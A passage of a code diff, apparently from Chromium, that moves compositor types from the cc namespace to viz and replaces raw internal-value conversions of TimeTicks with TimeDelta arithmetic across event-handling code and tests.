+#include "components/viz/common/quads/copy_output_request.h"
 #include "ui/compositor/compositor_switches.h"
 #include "ui/compositor/dip_util.h"
 #include "ui/compositor/layer_animator.h"
@@ -656,7 +656,7 @@
 
 void Layer::SetTextureMailbox(
     const viz::TextureMailbox& mailbox,
-    std::unique_ptr<cc::SingleReleaseCallback> release_callback,
+    std::unique_ptr<viz::SingleReleaseCallback> release_callback,
     gfx::Size texture_size_in_dip) {
   DCHECK(type_ == LAYER_TEXTURED || type_ == LAYER_SOLID_COLOR);
   DCHECK(mailbox.IsValid());
@@ -916,7 +916,7 @@
 }
 
 void Layer::RequestCopyOfOutput(
-    std::unique_ptr<cc::CopyOutputRequest> request) {
+    std::unique_ptr<viz::CopyOutputRequest> request) {
   cc_layer_->RequestCopyOfOutput(std::move(request));
 }
 
@@ -953,7 +953,7 @@
 
 bool Layer::PrepareTextureMailbox(
     viz::TextureMailbox* mailbox,
-    std::unique_ptr<cc::SingleReleaseCallback>* release_callback) {
+    std::unique_ptr<viz::SingleReleaseCallback>* release_callback) {
   if (!mailbox_release_callback_)
     return false;
   *mailbox = mailbox_;
diff --git a/ui/compositor/layer.h b/ui/compositor/layer.h
index 7c1ab4bf..7feab9bbd 100644
--- a/ui/compositor/layer.h
+++ b/ui/compositor/layer.h
@@ -34,7 +34,6 @@
 #include "ui/gfx/transform.h"
 
 namespace cc {
-class CopyOutputRequest;
 class Layer;
 class NinePatchLayer;
 class SolidColorLayer;
@@ -42,6 +41,10 @@
 class TextureLayer;
 }
 
+namespace viz {
+class CopyOutputRequest;
+}
+
 namespace ui {
 
 class Compositor;
@@ -299,7 +302,7 @@
   // shared memory resource or an actual mailbox for a texture.
   void SetTextureMailbox(
       const viz::TextureMailbox& mailbox,
-      std::unique_ptr<cc::SingleReleaseCallback> release_callback,
+      std::unique_ptr<viz::SingleReleaseCallback> release_callback,
       gfx::Size texture_size_in_dip);
   void SetTextureSize(gfx::Size texture_size_in_dip);
   void SetTextureFlipped(bool flipped);
@@ -366,7 +369,7 @@
   void OnDelegatedFrameDamage(const gfx::Rect& damage_rect_in_dip);
 
   // Requets a copy of the layer's output as a texture or bitmap.
-  void RequestCopyOfOutput(std::unique_ptr<cc::CopyOutputRequest> request);
+  void RequestCopyOfOutput(std::unique_ptr<viz::CopyOutputRequest> request);
 
   // Invoked when scrolling performed by the cc::InputHandler is committed. This
   // will only occur if the Layer has set scroll container bounds.
@@ -394,7 +397,7 @@
   // TextureLayerClient
   bool PrepareTextureMailbox(
       viz::TextureMailbox* mailbox,
-      std::unique_ptr<cc::SingleReleaseCallback>* release_callback) override;
+      std::unique_ptr<viz::SingleReleaseCallback>* release_callback) override;
 
   float device_scale_factor() const { return device_scale_factor_; }
 
@@ -574,7 +577,7 @@
 
   // The callback to release the mailbox. This is only set after
   // SetTextureMailbox is called, before we give it to the TextureLayer.
-  std::unique_ptr<cc::SingleReleaseCallback> mailbox_release_callback_;
+  std::unique_ptr<viz::SingleReleaseCallback> mailbox_release_callback_;
 
   // The size of the frame or texture in DIP, set when SetShowDelegatedContent
   // or SetTextureMailbox was called.
diff --git a/ui/compositor/layer_unittest.cc b/ui/compositor/layer_unittest.cc
index 9f2f1d5..00efb176 100644
--- a/ui/compositor/layer_unittest.cc
+++ b/ui/compositor/layer_unittest.cc
@@ -24,9 +24,9 @@
 #include "base/trace_event/trace_event.h"
 #include "cc/animation/animation_player.h"
 #include "cc/layers/layer.h"
-#include "cc/output/copy_output_request.h"
-#include "cc/output/copy_output_result.h"
 #include "cc/test/pixel_test_utils.h"
+#include "components/viz/common/quads/copy_output_request.h"
+#include "components/viz/common/quads/copy_output_result.h"
 #include "components/viz/common/surfaces/sequence_surface_reference_factory.h"
 #include "components/viz/common/surfaces/surface_id.h"
 #include "components/viz/common/surfaces/surface_reference_factory.h"
@@ -197,8 +197,8 @@
 
   void ReadPixels(SkBitmap* bitmap, gfx::Rect source_rect) {
     scoped_refptr<ReadbackHolder> holder(new ReadbackHolder);
-    std::unique_ptr<cc::CopyOutputRequest> request =
-        cc::CopyOutputRequest::CreateBitmapRequest(
+    std::unique_ptr<viz::CopyOutputRequest> request =
+        viz::CopyOutputRequest::CreateBitmapRequest(
             base::BindOnce(&ReadbackHolder::OutputRequestCallback, holder));
     request->set_area(source_rect);
 
@@ -245,7 +245,7 @@
    public:
     ReadbackHolder() : run_loop_(new base::RunLoop) {}
 
-    void OutputRequestCallback(std::unique_ptr<cc::CopyOutputResult> result) {
+    void OutputRequestCallback(std::unique_ptr<viz::CopyOutputResult> result) {
       result_ = result->TakeBitmap();
       run_loop_->Quit();
     }
@@ -550,7 +550,7 @@
   bool callback_run = false;
   viz::TextureMailbox mailbox(gpu::Mailbox::Generate(), gpu::SyncToken(), 0);
   layer->SetTextureMailbox(mailbox,
-                           cc::SingleReleaseCallback::Create(
+                           viz::SingleReleaseCallback::Create(
                                base::Bind(ReturnMailbox, &callback_run)),
                            gfx::Size(10, 10));
   EXPECT_FALSE(callback_run);
@@ -940,8 +940,9 @@
 
   bool callback1_run = false;
   viz::TextureMailbox mailbox(gpu::Mailbox::Generate(), gpu::SyncToken(), 0);
-  l1->SetTextureMailbox(mailbox, cc::SingleReleaseCallback::Create(
-                                     base::Bind(ReturnMailbox, &callback1_run)),
+  l1->SetTextureMailbox(mailbox,
+                        viz::SingleReleaseCallback::Create(
+                            base::Bind(ReturnMailbox, &callback1_run)),
                         gfx::Size(10, 10));
 
   EXPECT_NE(before_layer, l1->cc_layer_for_testing());
@@ -955,8 +956,9 @@
 
   bool callback2_run = false;
   mailbox = viz::TextureMailbox(gpu::Mailbox::Generate(), gpu::SyncToken(), 0);
-  l1->SetTextureMailbox(mailbox, cc::SingleReleaseCallback::Create(
-                                     base::Bind(ReturnMailbox, &callback2_run)),
+  l1->SetTextureMailbox(mailbox,
+                        viz::SingleReleaseCallback::Create(
+                            base::Bind(ReturnMailbox, &callback2_run)),
                         gfx::Size(10, 10));
   EXPECT_TRUE(callback1_run);
   EXPECT_FALSE(callback2_run);
@@ -975,8 +977,9 @@
   // Back to a texture, without changing the bounds of the layer or the texture.
   bool callback3_run = false;
   mailbox = viz::TextureMailbox(gpu::Mailbox::Generate(), gpu::SyncToken(), 0);
-  l1->SetTextureMailbox(mailbox, cc::SingleReleaseCallback::Create(
-                                     base::Bind(ReturnMailbox, &callback3_run)),
+  l1->SetTextureMailbox(mailbox,
+                        viz::SingleReleaseCallback::Create(
+                            base::Bind(ReturnMailbox, &callback3_run)),
                         gfx::Size(10, 10));
 
   EXPECT_NE(before_layer, l1->cc_layer_for_testing());
@@ -1122,7 +1125,7 @@
 // Checks that the damage rect for a TextureLayer is empty after a commit.
 TEST_F(LayerWithNullDelegateTest, EmptyDamagedRect) {
   base::RunLoop run_loop;
-  cc::ReleaseCallback callback =
+  viz::ReleaseCallback callback =
       base::Bind([](base::RunLoop* run_loop, const gpu::SyncToken& sync_token,
                     bool is_lost) { run_loop->Quit(); },
                  base::Unretained(&run_loop));
@@ -1130,7 +1133,7 @@
   std::unique_ptr<Layer> root(CreateLayer(LAYER_SOLID_COLOR));
   viz::TextureMailbox mailbox(gpu::Mailbox::Generate(), gpu::SyncToken(),
                               GL_TEXTURE_2D);
-  root->SetTextureMailbox(mailbox, cc::SingleReleaseCallback::Create(callback),
+  root->SetTextureMailbox(mailbox, viz::SingleReleaseCallback::Create(callback),
                           gfx::Size(10, 10));
   compositor()->SetRootLayer(root.get());
 
diff --git a/ui/events/android/scroller.cc b/ui/events/android/scroller.cc
index 1375f3f0..32835f14 100644
--- a/ui/events/android/scroller.cc
+++ b/ui/events/android/scroller.cc
@@ -227,7 +227,7 @@
                            float dy,
                            base::TimeTicks start_time,
                            base::TimeDelta duration) {
-  DCHECK_GT(duration.ToInternalValue(), 0);
+  DCHECK_GT(duration, base::TimeDelta());
   mode_ = SCROLL_MODE;
   finished_ = false;
   duration_ = duration;
@@ -270,7 +270,7 @@
 
   velocity_ = velocity;
   duration_ = GetSplineFlingDuration(velocity);
-  DCHECK_GT(duration_.ToInternalValue(), 0);
+  DCHECK_GT(duration_, base::TimeDelta());
   duration_seconds_reciprocal_ = 1.0 / duration_.InSecondsF();
   start_time_ = start_time;
   curr_time_ = start_time_;
diff --git a/ui/events/blink/input_scroll_elasticity_controller_unittest.cc b/ui/events/blink/input_scroll_elasticity_controller_unittest.cc
index 6f239d27..df552c39 100644
--- a/ui/events/blink/input_scroll_elasticity_controller_unittest.cc
+++ b/ui/events/blink/input_scroll_elasticity_controller_unittest.cc
@@ -83,7 +83,8 @@
   ScrollElasticityControllerTest()
       : controller_(&helper_),
         input_event_count_(0),
-        current_time_(base::TimeTicks::FromInternalValue(100000000ull)) {}
+        current_time_(base::TimeTicks() +
+                      base::TimeDelta::FromMicroseconds(INT64_C(100000000))) {}
   ~ScrollElasticityControllerTest() override {}
 
 
diff --git a/ui/events/event.cc b/ui/events/event.cc
index 7cb7a32..746855ff 100644
--- a/ui/events/event.cc
+++ b/ui/events/event.cc
@@ -572,8 +572,7 @@
       changed_button_flags_(GetChangedMouseButtonFlagsFromNative(native_event)),
       pointer_details_(GetMousePointerDetailsFromNative(native_event)) {
   latency()->AddLatencyNumberWithTimestamp(
-      INPUT_EVENT_LATENCY_ORIGINAL_COMPONENT, 0, 0,
-      base::TimeTicks::FromInternalValue(time_stamp().ToInternalValue()), 1);
+      INPUT_EVENT_LATENCY_ORIGINAL_COMPONENT, 0, 0, time_stamp(), 1);
   latency()->AddLatencyNumber(INPUT_EVENT_LATENCY_UI_COMPONENT, 0, 0);
   if (type() == ET_MOUSE_PRESSED || type() == ET_MOUSE_RELEASED)
     SetClickCount(GetRepeatCount(*this));
@@ -840,8 +839,7 @@
       should_remove_native_touch_id_mapping_(false),
       pointer_details_(GetTouchPointerDetailsFromNative(native_event)) {
   latency()->AddLatencyNumberWithTimestamp(
-      INPUT_EVENT_LATENCY_ORIGINAL_COMPONENT, 0, 0,
-      base::TimeTicks::FromInternalValue(time_stamp().ToInternalValue()), 1);
+      INPUT_EVENT_LATENCY_ORIGINAL_COMPONENT, 0, 0, time_stamp(), 1);
   latency()->AddLatencyNumber(INPUT_EVENT_LATENCY_UI_COMPONENT, 0, 0);
 
   FixRotationAngle();
@@ -1149,8 +1147,7 @@
       code_(CodeFromNative(native_event)),
       is_char_(IsCharFromNative(native_event)) {
   latency()->AddLatencyNumberWithTimestamp(
-      INPUT_EVENT_LATENCY_ORIGINAL_COMPONENT, 0, 0,
-      base::TimeTicks::FromInternalValue(time_stamp().ToInternalValue()), 1);
+      INPUT_EVENT_LATENCY_ORIGINAL_COMPONENT, 0, 0, time_stamp(), 1);
   latency()->AddLatencyNumber(INPUT_EVENT_LATENCY_UI_COMPONENT, 0, 0);
 
   if (IsRepeated(*this))
diff --git a/ui/events/gesture_detection/motion_event_buffer_unittest.cc b/ui/events/gesture_detection/motion_event_buffer_unittest.cc
index 5d99769..b8090b2 100644
--- a/ui/events/gesture_detection/motion_event_buffer_unittest.cc
+++ b/ui/events/gesture_detection/motion_event_buffer_unittest.cc
@@ -202,7 +202,7 @@
 
           base::TimeDelta dt = current_flushed_event->GetEventTime() -
                                last_flushed_event->GetEventTime();
-          EXPECT_GE(dt.ToInternalValue(), 0);
+          EXPECT_GE(dt, base::TimeDelta());
           // A time delta of 0 is possible if the flush rate is greater than the
           // event rate, in which case we can simply skip forward.
           if (dt.is_zero())
diff --git a/ui/events/gesture_detection/motion_event_generic.cc b/ui/events/gesture_detection/motion_event_generic.cc
index ad4d728..35a5b88 100644
--- a/ui/events/gesture_detection/motion_event_generic.cc
+++ b/ui/events/gesture_detection/motion_event_generic.cc
@@ -268,8 +268,7 @@
   DCHECK_EQ(event->GetAction(), ACTION_MOVE);
   DCHECK_EQ(event->GetPointerCount(), GetPointerCount());
   DCHECK_EQ(event->GetAction(), GetAction());
-  DCHECK_LE(event->GetEventTime().ToInternalValue(),
-            GetEventTime().ToInternalValue());
+  DCHECK_LE(event->GetEventTime(), GetEventTime());
   historical_events_.push_back(std::move(event));
 }
 
diff --git a/ui/events/mojo/BUILD.gn b/ui/events/mojo/BUILD.gn
index 34b89eb..49165b3 100644
--- a/ui/events/mojo/BUILD.gn
+++ b/ui/events/mojo/BUILD.gn
@@ -12,6 +12,7 @@
   ]
 
   public_deps = [
+    "//mojo/common:common_custom_types",
     "//ui/gfx/mojo",
     "//ui/latency/mojo:interfaces",
   ]
diff --git a/ui/events/mojo/event.mojom b/ui/events/mojo/event.mojom
index 48c7cd5..0431253 100644
--- a/ui/events/mojo/event.mojom
+++ b/ui/events/mojo/event.mojom
@@ -4,6 +4,7 @@
 
 module ui.mojom;
 
+import "mojo/common/time.mojom";
 import "ui/events/mojo/event_constants.mojom";
 import "ui/events/mojo/keyboard_codes.mojom";
 import "ui/latency/mojo/latency_info.mojom";
@@ -115,10 +116,10 @@
   //
   // TODO(sky): parts of this should move to PointerData.
   int32 flags;
-  // Time in microseconds from when the platform was started.
-  // This value accurately orders events w.r.t. to each other but
-  // does not position them at an absolute time.
-  int64 time_stamp;
+  // This value accurately orders events w.r.t. to each other but does not
+  // position them at an absolute time since the TimeTicks origin is only
+  // guaranteed to be fixed during one instance of the application.
+  mojo.common.mojom.TimeTicks time_stamp;
   LatencyInfo latency;
   KeyData? key_data;
   PointerData? pointer_data;
diff --git a/ui/events/mojo/event_struct_traits.cc b/ui/events/mojo/event_struct_traits.cc
index d2a66cb..6bd1669 100644
--- a/ui/events/mojo/event_struct_traits.cc
+++ b/ui/events/mojo/event_struct_traits.cc
@@ -133,9 +133,10 @@
   return event->flags();
 }
 
-int64_t StructTraits<ui::mojom::EventDataView, EventUniquePtr>::time_stamp(
+base::TimeTicks
+StructTraits<ui::mojom::EventDataView, EventUniquePtr>::time_stamp(
     const EventUniquePtr& event) {
-  return event->time_stamp().ToInternalValue();
+  return event->time_stamp();
 }
 
 const ui::LatencyInfo&
@@ -248,20 +249,23 @@
       ui::mojom::KeyDataPtr key_data;
       if (!event.ReadKeyData<ui::mojom::KeyDataPtr>(&key_data))
         return false;
+      base::TimeTicks time_stamp;
+      if (!event.ReadTimeStamp(&time_stamp))
+        return false;
 
       if (key_data->is_char) {
-        out->reset(new ui::KeyEvent(
-            static_cast<base::char16>(key_data->character),
-            static_cast<ui::KeyboardCode>(key_data->key_code), event.flags(),
-            base::TimeTicks::FromInternalValue(event.time_stamp())));
+        out->reset(
+            new ui::KeyEvent(static_cast<base::char16>(key_data->character),
+                             static_cast<ui::KeyboardCode>(key_data->key_code),
+                             event.flags(), time_stamp));
 
       } else {
-        out->reset(new ui::KeyEvent(
-            event.action() == ui::mojom::EventType::KEY_PRESSED
-                ? ui::ET_KEY_PRESSED
-                : ui::ET_KEY_RELEASED,
-            static_cast<ui::KeyboardCode>(key_data->key_code), event.flags(),
-            base::TimeTicks::FromInternalValue(event.time_stamp())));
+        out->reset(
+            new ui::KeyEvent(event.action() == ui::mojom::EventType::KEY_PRESSED
+                                 ? ui::ET_KEY_PRESSED
+                                 : ui::ET_KEY_RELEASED,
+                             static_cast<ui::KeyboardCode>(key_data->key_code),
+                             event.flags(), time_stamp));
       }
       if (key_data->properties)
         (*out)->AsKeyEvent()->SetProperties(*key_data->properties);
diff --git a/ui/events/mojo/event_struct_traits.h b/ui/events/mojo/event_struct_traits.h
index f8d0e0e..247d475 100644
--- a/ui/events/mojo/event_struct_traits.h
+++ b/ui/events/mojo/event_struct_traits.h
@@ -20,7 +20,7 @@
 struct StructTraits<ui::mojom::EventDataView, EventUniquePtr> {
   static ui::mojom::EventType action(const EventUniquePtr& event);
   static int32_t flags(const EventUniquePtr& event);
-  static int64_t time_stamp(const EventUniquePtr& event);
+  static base::TimeTicks time_stamp(const EventUniquePtr& event);
   static const ui::LatencyInfo& latency(const EventUniquePtr& event);
   static ui::mojom::KeyDataPtr key_data(const EventUniquePtr& event);
   static ui::mojom::PointerDataPtr pointer_data(const EventUniquePtr& event);
diff --git a/ui/events/mojo/struct_traits_unittest.cc b/ui/events/mojo/struct_traits_unittest.cc
index 4f7c4a9..5e925d11 100644
--- a/ui/events/mojo/struct_traits_unittest.cc
+++ b/ui/events/mojo/struct_traits_unittest.cc
@@ -56,8 +56,9 @@
       {'Z', VKEY_Z, EF_CAPS_LOCK_ON},
       {'z', VKEY_Z, EF_NONE},
       {ET_KEY_PRESSED, VKEY_Z, EF_NONE,
-       base::TimeTicks::FromInternalValue(101)},
-      {'Z', VKEY_Z, EF_NONE, base::TimeTicks::FromInternalValue(102)},
+       base::TimeTicks() + base::TimeDelta::FromMicroseconds(101)},
+      {'Z', VKEY_Z, EF_NONE,
+       base::TimeTicks() + base::TimeDelta::FromMicroseconds(102)},
   };
 
   mojom::TraitsTestServicePtr proxy = GetTraitsTestProxy();
diff --git a/ui/events/ozone/evdev/touch_event_converter_evdev_unittest.cc b/ui/events/ozone/evdev/touch_event_converter_evdev_unittest.cc
index c472235e..cc6b3c6b 100644
--- a/ui/events/ozone/evdev/touch_event_converter_evdev_unittest.cc
+++ b/ui/events/ozone/evdev/touch_event_converter_evdev_unittest.cc
@@ -37,6 +37,11 @@
 
 const char kTestDevicePath[] = "/dev/input/test-device";
 
+// Returns a fake TimeTicks based on the given microsecond offset.
+base::TimeTicks ToTestTimeTicks(int64_t micros) {
+  return base::TimeTicks() + base::TimeDelta::FromMicroseconds(micros);
+}
+
 void InitPixelTouchscreen(TouchEventConverterEvdev* device) {
   EventDeviceInfo devinfo;
   EXPECT_TRUE(CapabilitiesToDeviceInfo(kLinkTouchscreen, &devinfo));
@@ -330,8 +335,7 @@
   EXPECT_EQ(1u, size());
   ui::TouchEventParams event = dispatched_touch_event(0);
   EXPECT_EQ(ui::ET_TOUCH_PRESSED, event.type);
-  EXPECT_EQ(base::TimeTicks::FromInternalValue(1427323282019203),
-            event.timestamp);
+  EXPECT_EQ(ToTestTimeTicks(1427323282019203), event.timestamp);
   EXPECT_EQ(295, event.location.x());
   EXPECT_EQ(421, event.location.y());
   EXPECT_EQ(0, event.slot);
@@ -347,8 +351,7 @@
   EXPECT_EQ(2u, size());
   event = dispatched_touch_event(1);
   EXPECT_EQ(ui::ET_TOUCH_MOVED, event.type);
-  EXPECT_EQ(base::TimeTicks::FromInternalValue(1427323282034693),
-            event.timestamp);
+  EXPECT_EQ(ToTestTimeTicks(1427323282034693), event.timestamp);
   EXPECT_EQ(312, event.location.x());
   EXPECT_EQ(432, event.location.y());
   EXPECT_EQ(0, event.slot);
@@ -364,8 +367,7 @@
   EXPECT_EQ(3u, size());
   event = dispatched_touch_event(2);
   EXPECT_EQ(ui::ET_TOUCH_RELEASED, event.type);
-  EXPECT_EQ(base::TimeTicks::FromInternalValue(1427323282144540),
-            event.timestamp);
+  EXPECT_EQ(ToTestTimeTicks(1427323282144540), event.timestamp);
   EXPECT_EQ(312, event.location.x());
   EXPECT_EQ(432, event.location.y());
   EXPECT_EQ(0, event.slot);
@@ -417,7 +419,7 @@
 
   // Move
   EXPECT_EQ(ui::ET_TOUCH_MOVED, ev0.type);
-  EXPECT_EQ(base::TimeTicks::FromInternalValue(0), ev0.timestamp);
+  EXPECT_EQ(ToTestTimeTicks(0), ev0.timestamp);
   EXPECT_EQ(40, ev0.location.x());
   EXPECT_EQ(51, ev0.location.y());
   EXPECT_EQ(0, ev0.slot);
@@ -425,7 +427,7 @@
 
   // Press
   EXPECT_EQ(ui::ET_TOUCH_PRESSED, ev1.type);
-  EXPECT_EQ(base::TimeTicks::FromInternalValue(0), ev1.timestamp);
+  EXPECT_EQ(ToTestTimeTicks(0), ev1.timestamp);
   EXPECT_EQ(101, ev1.location.x());
   EXPECT_EQ(102, ev1.location.y());
   EXPECT_EQ(1, ev1.slot);
@@ -441,7 +443,7 @@
   ev1 = dispatched_touch_event(4);
 
   EXPECT_EQ(ui::ET_TOUCH_MOVED, ev1.type);
-  EXPECT_EQ(base::TimeTicks::FromInternalValue(0), ev1.timestamp);
+  EXPECT_EQ(ToTestTimeTicks(0), ev1.timestamp);
   EXPECT_EQ(40, ev1.location.x());
   EXPECT_EQ(102, ev1.location.y());
   EXPECT_EQ(1, ev1.slot);
@@ -458,7 +460,7 @@
   ev0 = dispatched_touch_event(5);
 
   EXPECT_EQ(ui::ET_TOUCH_MOVED, ev0.type);
-  EXPECT_EQ(base::TimeTicks::FromInternalValue(0), ev0.timestamp);
+  EXPECT_EQ(ToTestTimeTicks(0), ev0.timestamp);
   EXPECT_EQ(39, ev0.location.x());
   EXPECT_EQ(51, ev0.location.y());
   EXPECT_EQ(0, ev0.slot);
@@ -476,14 +478,14 @@
   ev1 = dispatched_touch_event(7);
 
   EXPECT_EQ(ui::ET_TOUCH_RELEASED, ev0.type);
-  EXPECT_EQ(base::TimeTicks::FromInternalValue(0), ev0.timestamp);
+  EXPECT_EQ(ToTestTimeTicks(0), ev0.timestamp);
   EXPECT_EQ(39, ev0.location.x());
   EXPECT_EQ(51, ev0.location.y());
   EXPECT_EQ(0, ev0.slot);
   EXPECT_FLOAT_EQ(0.17647059f, ev0.pointer_details.force);
 
   EXPECT_EQ(ui::ET_TOUCH_MOVED, ev1.type);
-  EXPECT_EQ(base::TimeTicks::FromInternalValue(0), ev1.timestamp);
+  EXPECT_EQ(ToTestTimeTicks(0), ev1.timestamp);
   EXPECT_EQ(38, ev1.location.x());
   EXPECT_EQ(102, ev1.location.y());
   EXPECT_EQ(1, ev1.slot);
@@ -499,7 +501,7 @@
   ev1 = dispatched_touch_event(8);
 
   EXPECT_EQ(ui::ET_TOUCH_RELEASED, ev1.type);
-  EXPECT_EQ(base::TimeTicks::FromInternalValue(0), ev1.timestamp);
+  EXPECT_EQ(ToTestTimeTicks(0), ev1.timestamp);
   EXPECT_EQ(38, ev1.location.x());
   EXPECT_EQ(102, ev1.location.y());
   EXPECT_EQ(1, ev1.slot);
@@ -722,8 +724,7 @@
   EXPECT_EQ(1u, size());
   ui::TouchEventParams event = dispatched_touch_event(0);
   EXPECT_EQ(ui::ET_TOUCH_PRESSED, event.type);
-  EXPECT_EQ(base::TimeTicks::FromInternalValue(1433965490837958),
-            event.timestamp);
+  EXPECT_EQ(ToTestTimeTicks(1433965490837958), event.timestamp);
   EXPECT_EQ(3654, event.location.x());
   EXPECT_EQ(1055, event.location.y());
   EXPECT_EQ(0, event.slot);
@@ -737,8 +738,7 @@
   EXPECT_EQ(2u, size());
   event = dispatched_touch_event(1);
   EXPECT_EQ(ui::ET_TOUCH_MOVED, event.type);
-  EXPECT_EQ(base::TimeTicks::FromInternalValue(1433965491001953),
-            event.timestamp);
+  EXPECT_EQ(ToTestTimeTicks(1433965491001953), event.timestamp);
   EXPECT_EQ(3644, event.location.x());
   EXPECT_EQ(1059, event.location.y());
   EXPECT_EQ(0, event.slot);
@@ -752,8 +752,7 @@
   EXPECT_EQ(3u, size());
   event = dispatched_touch_event(2);
   EXPECT_EQ(ui::ET_TOUCH_RELEASED, event.type);
-  EXPECT_EQ(base::TimeTicks::FromInternalValue(1433965491225959),
-            event.timestamp);
+  EXPECT_EQ(ToTestTimeTicks(1433965491225959), event.timestamp);
   EXPECT_EQ(3644, event.location.x());
   EXPECT_EQ(1059, event.location.y());
   EXPECT_EQ(0, event.slot);
diff --git a/ui/events/ozone/evdev/touch_filter/horizontally_aligned_touch_noise_filter.cc b/ui/events/ozone/evdev/touch_filter/horizontally_aligned_touch_noise_filter.cc
index 446bc08a..29dd7a8 100644
--- a/ui/events/ozone/evdev/touch_filter/horizontally_aligned_touch_noise_filter.cc
+++ b/ui/events/ozone/evdev/touch_filter/horizontally_aligned_touch_noise_filter.cc
@@ -41,12 +41,12 @@
           "Ozone.TouchNoiseFilter.HorizontallyAlignedDistance", distance);
 
       if (distance <= kMaxDistance) {
-        VLOG(2) << base::StringPrintf("Cancel tracking id %d, down at %" PRId64
-                                      " at %f,%f near touch %d at "
-                                      "%f,%f",
-                                      touch.tracking_id, time.ToInternalValue(),
-                                      touch.x, touch.y, other_touch.tracking_id,
-                                      other_touch.x, other_touch.y);
+        VLOG(2) << base::StringPrintf(
+            "Cancel tracking id %d, down at %" PRId64
+            " at %f,%f near touch %d at "
+            "%f,%f",
+            touch.tracking_id, time.since_origin().InMicroseconds(), touch.x,
+            touch.y, other_touch.tracking_id, other_touch.x, other_touch.y);
         slots_with_noise->set(touch.slot);
       }
     }
diff --git a/ui/events/test/event_generator.cc b/ui/events/test/event_generator.cc
index 071198be3..22ff51e 100644
--- a/ui/events/test/event_generator.cc
+++ b/ui/events/test/event_generator.cc
@@ -47,7 +47,8 @@
   TestTickClock() {}
 
   base::TimeTicks NowTicks() override {
-    return base::TimeTicks::FromInternalValue(ticks_++ * 1000);
+    return base::TimeTicks() +
+           base::TimeDelta::FromMicroseconds(ticks_++ * 1000);
   }
 
  private:
diff --git a/ui/events/test/motion_event_test_utils.cc b/ui/events/test/motion_event_test_utils.cc
index c2c0e57..67564146 100644
--- a/ui/events/test/motion_event_test_utils.cc
+++ b/ui/events/test/motion_event_test_utils.cc
@@ -243,7 +243,7 @@
           ss << "\n   { " << event.GetHistoricalX(pi, h) << ", "
              << event.GetHistoricalY(pi, h) << ", "
              << event.GetHistoricalTouchMajor(pi, h) << ", "
-             << event.GetHistoricalEventTime(pi).ToInternalValue() << " }";
+             << event.GetHistoricalEventTime(pi) << " }";
           if (h + 1 < history_size)
             ss << ",";
         }
diff --git a/ui/events/x/events_x_unittest.cc b/ui/events/x/events_x_unittest.cc
index a7082e6..fdd4fc28 100644
--- a/ui/events/x/events_x_unittest.cc
+++ b/ui/events/x/events_x_unittest.cc
@@ -211,7 +211,7 @@
   XEvent event;
   gfx::Point location(5, 10);
 
-  base::TimeDelta time_stamp = base::TimeTicks::Now() - base::TimeTicks() -
+  base::TimeDelta time_stamp = base::TimeTicks::Now().since_origin() -
                                base::TimeDelta::FromMilliseconds(10);
   for (int i = 1; i <= 3; ++i) {
     InitButtonEvent(&event, true, location, 1, 0);
@@ -540,15 +540,22 @@
 }
 
 namespace {
+
+// Returns a fake TimeTicks based on the given millisecond offset.
+base::TimeTicks TimeTicksFromMillis(int64_t millis) {
+  return base::TimeTicks() + base::TimeDelta::FromMilliseconds(millis);
+}
+
 class MockTickClock : public base::TickClock {
  public:
-  explicit MockTickClock(uint64_t milliseconds)
-      : ticks_(base::TimeTicks::FromInternalValue(milliseconds * 1000)) {}
+  explicit MockTickClock(int64_t milliseconds)
+      : ticks_(TimeTicksFromMillis(milliseconds)) {}
   base::TimeTicks NowTicks() override { return ticks_; }
 
  private:
   base::TimeTicks ticks_;
 };
+
 }  // namespace
 
 TEST_F(EventsXTest, TimestampRolloverAndAdjustWhenDecreasing) {
@@ -556,19 +563,17 @@
   InitButtonEvent(&event, true, gfx::Point(5, 10), 1, 0);
 
   ResetTimestampRolloverCountersForTesting(
-      base::MakeUnique<MockTickClock>(0x100000001LL));
+      base::MakeUnique<MockTickClock>(0x100000001));
 
   event.xbutton.time = 0xFFFFFFFF;
-  EXPECT_EQ(base::TimeDelta::FromMilliseconds(0xFFFFFFFF).ToInternalValue(),
-            ui::EventTimeFromNative(&event).ToInternalValue());
+  EXPECT_EQ(TimeTicksFromMillis(0xFFFFFFFF), ui::EventTimeFromNative(&event));
 
   ResetTimestampRolloverCountersForTesting(
-      base::MakeUnique<MockTickClock>(0x100000007LL));
+      base::MakeUnique<MockTickClock>(0x100000007));
 
   event.xbutton.time = 3;
-  EXPECT_EQ(
-      base::TimeDelta::FromMilliseconds(0x100000000LL + 3).ToInternalValue(),
-      ui::EventTimeFromNative(&event).ToInternalValue());
+  EXPECT_EQ(TimeTicksFromMillis(0x100000000 + 3),
+            ui::EventTimeFromNative(&event));
 }
 
 TEST_F(EventsXTest, NoTimestampRolloverWhenMonotonicIncreasing) {
@@ -578,18 +583,15 @@
   ResetTimestampRolloverCountersForTesting(base::MakeUnique<MockTickClock>(10));
 
   event.xbutton.time = 6;
-  EXPECT_EQ(base::TimeDelta::FromMilliseconds(6).ToInternalValue(),
-            ui::EventTimeFromNative(&event).ToInternalValue());
+  EXPECT_EQ(TimeTicksFromMillis(6), ui::EventTimeFromNative(&event));
   event.xbutton.time = 7;
-  EXPECT_EQ(base::TimeDelta::FromMilliseconds(7).ToInternalValue(),
-            ui::EventTimeFromNative(&event).ToInternalValue());
+  EXPECT_EQ(TimeTicksFromMillis(7), ui::EventTimeFromNative(&event));
 
   ResetTimestampRolloverCountersForTesting(
       base::MakeUnique<MockTickClock>(0x100000005));
 
   event.xbutton.time = 0xFFFFFFFF;
-  EXPECT_EQ(base::TimeDelta::FromMilliseconds(0xFFFFFFFF).ToInternalValue(),
-            ui::EventTimeFromNative(&event).ToInternalValue());
+  EXPECT_EQ(TimeTicksFromMillis(0xFFFFFFFF), ui::EventTimeFromNative(&event));
 }
 
 }  // namespace ui
diff --git a/ui/gfx/animation/animation_unittest.cc b/ui/gfx/animation/animation_unittest.cc
index 66e9d98..bf1cf01 100644
--- a/ui/gfx/animation/animation_unittest.cc
+++ b/ui/gfx/animation/animation_unittest.cc
@@ -2,7 +2,6 @@
 // Use of this source code is governed by a BSD-style license that can be
 // found in the LICENSE file.
 
-#include "base/message_loop/message_loop.h"
 #include "base/run_loop.h"
 #include "base/test/scoped_task_environment.h"
 #include "build/build_config.h"
@@ -79,7 +78,7 @@
  public:
   void AnimationEnded(const Animation* animation) override {
     delete animation;
-    base::MessageLoop::current()->QuitWhenIdle();
+    base::RunLoop::QuitCurrentWhenIdleDeprecated();
   }
 };
 
diff --git a/ui/gfx/animation/test_animation_delegate.h b/ui/gfx/animation/test_animation_delegate.h
index 6cc65af..3c40a899 100644
--- a/ui/gfx/animation/test_animation_delegate.h
+++ b/ui/gfx/animation/test_animation_delegate.h
